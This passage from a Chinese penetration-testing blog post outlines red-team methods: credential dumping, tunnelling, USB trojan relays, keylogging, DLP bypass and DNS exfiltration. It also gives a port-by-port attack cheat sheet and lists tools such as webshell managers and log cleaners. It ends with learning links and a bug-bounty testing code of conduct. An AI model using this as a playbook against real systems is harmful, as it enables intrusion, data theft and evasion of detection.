  • LaZagne

域渗透:PowerTools工具集

NSA方程式1day漏洞利用

WEB应用及组件RCE漏洞利用

弱口令攻击

数据库渗透:未授权、弱口令

权限提升:kernel-exploit、Exploit Suggester

蛙跳攻击

安全域绕过

  • 防火墙绕过
  • 堡垒机绕过

网络跳板:netsh、lcx、nc、ew、ssocks、Termite、reGeorg、Tunna

摆渡攻击

USB木马中继

  • 识别员工USB写入木马
  • 搜集机密文件写入USB隐藏分区
  • 联网回传

WHID攻击中继:自带wifi模版或上网卡的HID设备

无人机攻击中继


数据回传

数据采集

  1. 音、视频捕获集

  2. 屏幕捕获

  3. 键盘记录

  4. USN硬盘文件列表收集

  5. 剪切板读取

  6. 电子邮件收集

7)软件配置文件收集

  1. 密码表收集

  2. 其他机密文档收集

隐蔽传输

1)文件回传服务器配置

2)文件压缩:zip、rar、7z……

3)DLP防泄密绕过:CloakifyFactoy

4)特殊协议隧道:DNSExfiltrator

Hx 附1:端口号 Port

21 FTP弱密码
22 SSH弱密码
23 telnet弱密码
25 邮件伪造,vrfy/expn查询邮件用户信息,可使用smtp-user-enum工具来自动跑
53 DNS溢出、远程代码执行、允许区域传送,dns劫持,缓存投毒,欺骗以及各种基于dns隧道的远控
69 尝试下载目标及其的各类重要配置文件
80 IIS6 RCE
80-89 应用服务器端口
110 POP3 可尝试爆破,嗅探
111 NFS 权限配置不当
137 SMB
143 IMAP 爆破
161 SNMP 爆破默认团队字符串,搜集目标内网信息
139 smb、嗅探
161 snmp默认团体名/弱口令漏洞
389 LDAP注入、匿名访问、弱口令
443 poodle漏洞、应用服务器端口
445 ms17-010、ms08-067
464 kpasswd Kerberos 口令和钥匙改换服务
512,513,514 Linux rexec 可爆破,rlogin登陆
554 RTSP
873 rsync
1080 ss 可以尝试使用ss代理工具进行代理
1194 OpenVPN 想办法钓VPN账号,进内网
1352 Lotus 弱口令,信息泄漏,爆破
1433 mssql(sql server) 注入,提权,sa弱口令,爆破
1500 ISPmanager 弱口令
1521 Oracle tns爆破,注入,弹shell…
1723 PPTP 爆破,想办法钓VPN账号,进内网
2082,2083 cPanel 弱口令
2049 NFS 权限配置不当
2181 Zookeeper
2375 docker
2601,2604 Zebra 默认密码zerbra
3000 grafan
3128 Squid 弱口令
3306 mysql弱密码
3312,3311 kangle 弱口令
3389 ms12-020、Windows rdp shift后门[需要03以下的系统]、爆破
3690 svn泄露,未授权访问
4848 GlassFish 弱口令
4899 radmin
5000 Flask、Sybase/DB2 爆破,注入
5432 postgresql 爆破,注入,弱口令
5900,5901,5902 VNC 弱口令爆破 VNC提权
5984 couchdb
5985 SOAP
6379 redis未授权访问
6443 Kubernetes
7001 weblogic、websphere
7002 WebLogic Java反序列化,弱口令
7778 Kloxo 主机面板登录
8000 Ajenti 弱口令
8069 Zabbix 远程执行,SQL注入
8080 jenkins、GeoServer、Kubernetes、JBOSS、libssh、poodle、struts2
8180 libssh - cve-2018-10933、JBOSS
8393、8983、8081、80、443、8080 solr
8443 Plesk 弱口令
8440-8450,8080-8089 应用服务器端口(可尝试经典的topn,vpn,owa,webmail,目标oa,各类Java控制台,各类服务器Web管理面板,各类Web中间件漏 洞利用,各类Web框架漏洞利用等等……)
8161 ActiveMQ后台弱密码(admin/admin)漏洞以及put写shell
9080-9081,9090 WebSphere(应用服务器) Java反序列化/弱口令
9043 、9443 poodle
9200,9300 Elasticsearch未授权访问漏洞、elasticsearch远程命令执行、Elasticsearch任意文件读取
11211 memcache
27017,27018 mongodb
43958 Serv-U
50070,50030 hadoop
61616 ActiveMQ

Ix 附2:常用工具 Tools

信息收集

1.域名、IP、备案、DNS工具

whois、dig

2.子域名

subdir

3.敏感目录、后台

御剑

4.指纹识别、CMS

5.端口、服务

nmap

漏洞挖掘

1.SQL注入

sqlmap

2.XSS

xssfuzz

3.漏洞扫描工具

Appscan、AWVS、Nessus、Xray、Goby、NetSpark

4.抓包工具

burpsuite

5.流量分析

wireshark

漏洞利用

1.中间件漏洞

strut2检测

weblogic检测

2.webshell管理工具

菜刀、蚁剑、哥斯拉、冰蝎

3.漏洞利用框架

Metasploit

内网渗透

1.提权工具

脏牛

2.清除日志

EventCleaner

Jx 附3:常用命令 Command

Unix

Linux

Windows

Ios

Kx 附4:学习平台 Learning platform

信息安全

Freebuf

https://www.freebuf.com/

鸡窝安全、社区
https://mickey.jiwo.org/
安全脉搏
https://www.secpulse.com/
安全客
https://www.anquanke.com/
Seebug(知道创宇),一些文章
https://paper.seebug.org/
鹦鹉OS中文社区,我经常去,很热心的表哥们都在里头
https://parrotsec-cn.org/
鹦鹉OS英文社区,很热心老外表哥在里头,可以提问,就是访问慢
https://community.parrotsec.org/
Kali的论坛
https://forums.kali.org/
黑客博客,还可以学习学习英语
https://www.hackingarticles.in/
黑客吧,就是小白自学的入门技术
https://www.myhack58.com/
Chabug
https://www.chabug.org/
一些安全的新闻
https://www.sec-wiki.com/
http://toutiao.secjia.com/#/
还算更新积极
http://wechat.doonsec.com/

二进制

学破解
https://www.xuepojie.com/
Dr.farfar
https://www.dr-farfar.com/
吾爱
https://www.52pojie.cn/

导航

学会信息提取,很多东西其实对你目前来说没什么用,把有用的提取出来就行了
https://start.me/p/X20Apn
http://vulsee.com/urlrss
https://navisec.it/

CFT || 靶场

墨者学院
https://www.mozhe.cn/
i 春秋
https://www.ichunqiu.com/

安全公司

知道创宇

https://www.yunaq.com/

360

https://www.360.cn/

长亭

https://www.chaitin.cn/zh/

奇安信

https://www.qianxin.com/

天融信

http://www.topsec.com.cn/

启明星辰

https://www.venustech.com.cn/

安全产品

https://product.freebuf.com/index

SRC

[TPSA19-22]SRC行业安全测试规范

https://security.tencent.com/announcement/msg/180

参与此标准制定的组织:
腾讯SRC、蚂蚁金服SRC、ASRC、阿里云先知、百度SRC、本地生活SRC、菜鸟SRC、滴滴SRC、京东SRC、LYSRC、蘑菇街SRC、陌陌SRC、360SRC、苏宁SRC、同舟共测-企业安全响应联盟、唯品会SRC、微博SRC、VIPKIDSRC、网易SRC、WiFi万能钥匙SRC、完美世界SRC、小米SRC(排名不分先后)

感谢以下白帽子对此规范提供的建议和认可:
hackbar、SToNe、无心、、mmmark、ayound、算命先生、泳少、离兮、lakes、Adam、羽_、小笼包(随机排名,不分先后)

一、测试规范:
  1. 注入漏洞,只要证明可以读取数据就行,严禁读取表内数据。对于UPDATE、DELETE、INSERT 等注入类型,不允许使用自动化工具进行测试。

  2. 越权漏洞,越权读取的时候,能读取到的真实数据不超过5组,严禁进行批量读取。

  3. 帐号可注册的情况下,只允许用自己的2个帐号验证漏洞效果,不要涉及线上正常用户的帐号,越权增删改,请使用自己测试帐号进行。
    帐号不可注册的情况下,如果获取到该系统的账密并验证成功,如需进一步安全测试,请咨询管理员得到同意后进行测试。

  4. 存储xss漏洞,正确的方法是插入不影响他人的测试payload,严禁弹窗,推荐使用console.log,再通过自己的另一个帐号进行验证,提供截图证明。对于盲打类xss,仅允许外带domain信息。所有xss测试,测试之后需删除插入数据,如不能删除,请在漏洞报告中备注插入点。

  5. 如果可以shell或者命令执行的,推荐上传一个文本证明,如纯文本的1.php、1.jsp等证明问题存在即可,禁止下载和读取服务器上任何源代码文件和敏感文件,不要执行删除、写入命令,如果是上传的webshell,请写明shell文件地址和连接口令。

  6. 在测试未限制发送短信或邮件次数等扫号类漏洞,测试成功的数量不超过50个。如果用户可以感知,例如会给用户发送登陆提醒短信,则不允许对他人真实手机号进行测试。

  7. 如需要进行具有自动传播和扩散能力漏洞的测试(如社交蠕虫的测试),只允许使用和其他账号隔离的小号进行测试。不要使用有社交关系的账号,防止蠕虫扩。

  8. 禁止对网站后台和部分私密项目使用扫描器。

  9. 除特别获准的情况下,严禁与漏洞无关的社工,严禁进行内网渗透。

  10. 禁止进行可能引起业务异常运行的测试,例如:IIS的拒绝服务等可导致拒绝服务的漏洞测试以及DDOS攻击。

  11. 请不要对未授权厂商、未分配给自己的项目、超出测试范围的列表进行漏洞挖掘,可与管理员联系确认是否属于资产范围后进行挖掘,否则未授权的法律风险将由漏洞挖掘者自己承担。

  12. 禁止拖库、随意大量增删改他人信息,禁止可对服务稳定性造成影响的扫描、使用将漏洞进行黑灰产行为等恶意行为。

  13. 敏感信息的泄漏会对用户、厂商及上报者都产生较大风险,禁止保存和传播和业务相关的敏感数据,包括但不限于业务服务器以及Github 等平台泄露的源代码、运营数据、用户资料等,若存在不知情的下载行为,需及时说明和删除。

14、尊重《中华人民共和国网络安全法》的相关规定。禁止一切以漏洞测试为借口,利用安全漏洞进行破坏、损害用户利益的行为,包括但不限于威胁、恐吓SRC要公开漏洞或数据,请不要在任何情况下泄露漏洞测试过程中所获知的任何信息,漏洞信息对第三方披露请先联系SRC获得授权。企业将对违法违规者保留采取进一步法律行动的权利。

腾讯

https://security.tencent.com/index.php

360

https://security.360.cn/

补天

https://www.butian.net/

Lx 参考 References

[1] https://www.cnblogs.com/iAmSoScArEd/p/10651947.html

[2] https://www.cnblogs.com/qiantan/p/10695567.html

[3] https://www.jianshu.com/p/35b84eda9292

[4] https://blog.csdn.net/qq_32434307/article/details/86648303


文章作者: IS-Team
版权声明: 本博客所有文章除特别声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 IS-Team !
  目录